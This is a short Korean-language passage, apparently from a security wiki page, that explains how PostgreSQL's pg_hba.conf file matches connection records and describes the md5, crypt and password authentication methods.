PostgreSQL의 클라이언트 인증은 pg_hba.conf라는 구성 파일로 관리됩니다. 이 파일에는 여러 레코드가 포함되어 있으며, 각 레코드는 연결 타입, 클라이언트 IP 주소 범위(해당되는 경우), 데이터베이스 이름, 사용자 이름, 그리고 연결 매칭에 사용할 인증 방법을 지정합니다. 연결 타입, 클라이언트 주소, 요청된 데이터베이스 및 사용자 이름과 일치하는 첫 번째 레코드가 인증에 사용됩니다. 인증 실패 시 대체 또는 백업이 없으며, 어떤 레코드도 일치하지 않으면 접근이 거부됩니다.

pg_hba.conf에서 사용 가능한 패스워드 기반 인증 방법은 md5, crypt, password입니다. 이들 방법은 비밀번호가 전송되는 방식이 서로 다르며: MD5-hashed, crypt-encrypted, 또는 clear-text 형태입니다. 또한 crypt 방식은 pg_authid에 암호화되어 저장된 비밀번호와 함께 사용할 수 없다는 점에 유의해야 합니다.

참고

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기